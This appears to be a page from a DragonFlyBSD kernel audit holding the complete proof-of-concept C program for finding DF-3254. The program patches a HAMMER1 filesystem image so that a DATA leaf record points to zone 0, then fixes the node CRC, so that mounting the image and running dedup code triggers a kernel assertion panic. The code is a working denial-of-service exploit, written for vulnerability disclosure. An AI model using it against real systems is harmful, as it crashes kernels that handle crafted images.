⬢ DragonFlyBSD Kernel Audit
DF-3254 / patch_doff.c
← back to finding ↓ download raw
/*
 * DF-3254: patch a HAMMER1 DATA leaf record so its data_offset field is
 * ZONE 0 (raw 0), then fix the node CRC -- exactly the record shape that
 * reaches
 *
 *	hammer_btree_extract_data(&cursor1);       hammer_dedup.c:66
 *	hammer_btree_extract_data(&cursor2);       hammer_dedup.c:82
 *	... zone validation happens only AFTERWARDS ... :92-93
 *
 * _hammer_bread() then hits KKASSERT(HAMMER_ZONE(buf_offset) != 0)
 * (hammer_ondisk.c:1123) -> INVARIANTS kernel panic before the
 * hammer_is_zone_data() check ever runs.
 *
 * usage: patch_doff <image>
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <unistd.h>

#define BUFSIZE 4096
#define BTREE_TYPE_L (('L') & 0xff)
#define RECTYPE_DATA 0x0010
#define ELM_OFF   64            /* elms[0] at node+64 */
#define ELM_SZ    64
#define BASE_RECTYPE 32
#define BASE_LOCAL   36
#define LEAF_DOFF    48
#define LEAF_DLEN    56

static uint32_t crc32_tab[256];
static void crc32_init(void)
{
	for (uint32_t i = 0; i < 256; i++) {
		uint32_t c = i;
		for (int k = 0; k < 8; k++)
			c = (c & 1) ? 0xEDB88320U ^ (c >> 1) : c >> 1;
		crc32_tab[i] = c;
	}
}
static uint32_t crc32_buf(const void *p, size_t n)
{
	const unsigned char *b = p;
	uint32_t c = 0xFFFFFFFFU;
	for (size_t i = 0; i < n; i++)
		c = crc32_tab[(c ^ b[i]) & 0xff] ^ (c >> 8);
	return c ^ 0xFFFFFFFFU;
}
static uint32_t crc32c_tab[256];
static void crc32c_init(void)
{
	for (uint32_t i = 0; i < 256; i++) {
		uint32_t c = i;
		for (int k = 0; k < 8; k++)
			c = (c & 1) ? 0x82F63B78U ^ (c >> 1) : c >> 1;
		crc32c_tab[i] = c;
	}
}
static uint32_t crc32c_buf(const void *p, size_t n)
{
	const unsigned char *b = p;
	uint32_t c = 0xFFFFFFFFU;
	for (size_t i = 0; i < n; i++)
		c = crc32c_tab[(c ^ b[i]) & 0xff] ^ (c >> 8);
	return c ^ 0xFFFFFFFFU;
}

int main(int argc, char **argv)
{
	unsigned char node[BUFSIZE];
	uint32_t stored, calc_a, calc_b, newcrc;
	uint64_t doff;
	int fd, count, i, patched = 0, nodes = 0;
	off_t off;

	if (argc != 2) {
		fprintf(stderr, "usage: %s <image>\n", argv[0]);
		exit(2);
	}
	crc32_init();
	crc32c_init();
	fd = open(argv[1], O_RDWR);
	if (fd < 0) { perror("open"); exit(2); }

	for (off = 0; ; off += 512) {
		if (pread(fd, node, BUFSIZE, off) != BUFSIZE) break;
		memcpy(&stored, node, 4);
		memcpy(&count, node + 16, 4);
		if (node[20] != BTREE_TYPE_L)
			continue;
		if (count < 1 || count > 63)
			continue;
		calc_a = crc32_buf(node + 4, BUFSIZE - 4);
		calc_b = crc32c_buf(node + 4, BUFSIZE - 4);
		if (stored != calc_a && stored != calc_b)
			continue;
		nodes++;
		int hit = 0;
		for (i = 0; i < count; i++) {
			unsigned char *elm = node + ELM_OFF + ELM_SZ * i;
			uint16_t rt;
			memcpy(&rt, elm + BASE_RECTYPE, 2);
			memcpy(&doff, elm + LEAF_DOFF, 8);
			fprintf(stderr, "leaf@%jd elm%d rec_type=0x%04x data_offset=0x%016jx (zone %jd)\n",
				(intmax_t)off, i, rt, (uintmax_t)doff,
				(uintmax_t)(doff >> 60));
			if (rt == RECTYPE_DATA && doff != 0 &&
			    (doff >> 60) >= 8 && (doff >> 60) <= 11) {
				uint64_t zero = 0x0000000000100000ULL;  /* zone 0, NON-zero */
				printf("found DATA leaf @off=%jd elm=%d: "
				       "data_offset 0x%016jx -> 0x100000 (zone 0, non-zero: extract guard passes)\n",
				       (intmax_t)off, i, (uintmax_t)doff);
				{ FILE *f = fopen("/tmp/doff_elem_off", "w");
				  if (f) { fprintf(f, "%jd",
					  (intmax_t)(off + ELM_OFF + ELM_SZ * i));
					  fclose(f); } }
				memcpy(elm + LEAF_DOFF, &zero, 8);
				hit = 1;
				patched++;
				/* patch only the first one */
				break;
			}
		}
		if (hit) {
			newcrc = (stored == calc_b)
				? crc32c_buf(node + 4, BUFSIZE - 4)
				: crc32_buf(node + 4, BUFSIZE - 4);
			memcpy(node, &newcrc, 4);
			if (pwrite(fd, node, BUFSIZE, off) != BUFSIZE) {
				perror("pwrite"); exit(1);
			}
			break;
		}
	}
	printf("done: %d valid leaf nodes scanned, %d DATA leaf patched to "
	       "zone-0 data_offset\n", nodes, patched);
	close(fd);
	return patched ? 0 : 1;
}